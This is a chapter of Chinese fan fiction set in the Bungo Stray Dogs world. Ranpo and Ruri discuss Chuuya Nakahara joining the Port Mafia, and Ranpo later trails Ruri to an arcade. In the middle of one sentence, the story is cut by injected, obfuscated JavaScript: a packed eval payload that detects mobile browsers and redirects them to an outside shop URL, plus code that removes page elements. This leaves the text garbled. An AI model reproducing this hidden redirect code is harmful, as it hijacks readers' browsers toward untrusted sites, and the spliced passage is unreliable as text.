当渣女不好,她选择直接道歉:“对不起,我没时间去侦探社陪你。” 意料之中的答案。 越是这样改变不了的现实,越让乱步觉得浑身无力,抓心挠肝。 乱步:“…是我对不起,不该让你道歉。” 这种事没有谁对谁错。感受到气氛变低沉,他当即转移话题, “我们来聊点别的有意思的吧?” “比如说那个贯穿了75层大楼的超级隧道!” 琉璃:“聊它吗?我没问过程和原因。” 那个齐整的一连串洞口确实如太宰治形容的那样,像是神迹。 站在边缘往下看,伴随着轻微眩晕感一同袭来的是深邃的震撼,所以琉璃为控制情绪只扫一眼就退后了,没给太宰半点他想看到的神态。 太宰治不想多说,琉璃保留合作方的私人空间,没有多问。 现在十分珍惜和琉璃在一起的时光,认为多对琉璃说些甜言蜜语比了解港口Mafia的八卦更重要的江户川乱步,主动提起这件事,一定是推理出了值得重视的信息。 乱步:“搞出这些洞口的人,就是我跟你提过的,那个‘傻子’。” “除了他,没人有这个能力。” “傻子?”琉璃需要检索下自己的记忆。 乱步认定的傻子,两只手可数不过来。 看琉璃想不出,乱步盘起腿背靠床垫,增加检索词, “就是我去港口Mafia找你,在擂钵街迷路遇到的那个,羊组织的首领。” 一下子具体很多,琉璃回忆成功, “想起来了,你想介绍给我又说算了,我都快忘了那人是羊组织的首领。” 羊组织在黑.手.党里有知名度,但不算高,出名的点一是成员都是未成年,二是有一个异能力很强大的首领。 琉璃的心思大部分投入在梦野身上,对其他组织都是一知半解,而乱步在这方面比琉璃更上心。 当时他回到侦探社后就立刻深入调查了羊组织,尤其是他们的首领。 手机上看到琉璃描述的楼内奇观,也是第一时间确定中原中也就是那位神奇工匠。 羊组织说到底就是个靠抢劫维持生计的团伙,只有首领能打,特别能打。 森鸥外也是终于从繁重的工作里抬头,得出空闲,目光锁定上了异能力过于出挑的中原中也。 这是好事,因为琉璃和森鸥外在合作当中,一荣俱荣;也是坏事,因为森鸥外运气太好,要得到一个旁人很难针对的王牌了。 没人怀疑森鸥外的忽悠能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454020|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,中原中也加入港口Mafia是板上钉钉。 这人重情重义,心眼超少,指哪打哪,比太宰治好控制的多的多,乱步没看出来他多有当首领的潜力,但说不定能成为世界第一的打手。 “是的,港口Mafia要添一员猛将了~”乱步都有点眼热,要是侦探社先捡到中原中也就好了。 他不甘心地预言:“说起来,那人跟太宰是同岁,一看性格就不合,能成为死对头吧。” 琉璃:“啊……” 同事关系能处这么差吗? 放到太宰身上,又觉得不奇怪了~ 琉璃莞尔一笑,“那这么说,我要离这位新人远点了。” “毕竟我是站在太宰这边的。” 既要又要可不行,不然太宰治逃跑了,就很麻烦了。 乱步给予肯定:“没错。” “而且你要是离中原中也太近,森鸥外那个小心眼的男人绝对会妒忌!” 森鸥外不是很担心太宰治会被挖墙角,但中原中也不一样。 像森鸥外防备心这么重的首领,怎么可能在磨合初期,放心让自己看好的下属跟琉璃这个外人交集变深。 乱步把这件事单拎出来讲,就是先给琉璃打一个预防针。 “补洞需要一些时间吧~”乱步又蹭到琉璃身边, “别上学了,陪我玩~” 遇到在撒娇的乱步,就满足他。 琉璃:“可以啊。”上学暂停。 “但是明天周六,”不用上学,“我跟前辈们约好了下午去电玩城。” “又来?”乱步撅着的嘴上能挂稳一瓶酱油。 “那种地方有什么好玩的?”要玩也是他和琉璃去玩才对! “那些养尊处优的富家子弟,玩得明白吗!” 乱步的醋劲溢于言表。 琉璃上手揉乱他婴儿肥的脸, “他们愿意接触普通人的生活,不戴有色眼镜,已经很优秀了。” “…哼!“乱步没反驳。 如果那些前辈连这一点都做不到,那也没有资格做琉璃的朋友了。 不对……朋友?乱步恍然。 明明他身边的人琉璃都认识,他却只能从琉璃的只言片语中认识琉璃的朋友! “我也要去,我要去见他们!” 琉璃:? 她拿想一出是一出的乱步没办法,把漫画书卷起来轻敲他的头, “他们跟我还没有亲密到,能知道你和我之间的关系。” “……那真是差点意思。”沉稳下来的乱步咬牙,恨铁不成钢。 都一年了,怎么还没取得琉璃全然的信任,真是逊毙了。 乱步短时间内的态度变化逗笑了琉璃,她垂眼把漫画书抚平整, “乱步要是想跟他们见面,只能是凑巧遇到了吧。” * 乱步十分确定,琉璃那句话是在点拨他,让他来电玩城装偶遇。 与谢野却突然不相信他的推理,阻拦他不住,非要跟他一起过来,看着他不做出什么过分的事情。 “我能干什么?”乱步不满,“晶子你这样才很过分,我跟琉璃做什么都是名正言顺的!” “真的吗?”与谢野不信。 她觉得这段感情住在地下,不适宜张扬。 而且名正言顺的未婚夫,哪里用得着过来跟踪偷窥,像是抓妻子外遇又默默自认倒霉的无能丈夫。 如果她不跟着,这位丈夫“捉奸”都找不着地方。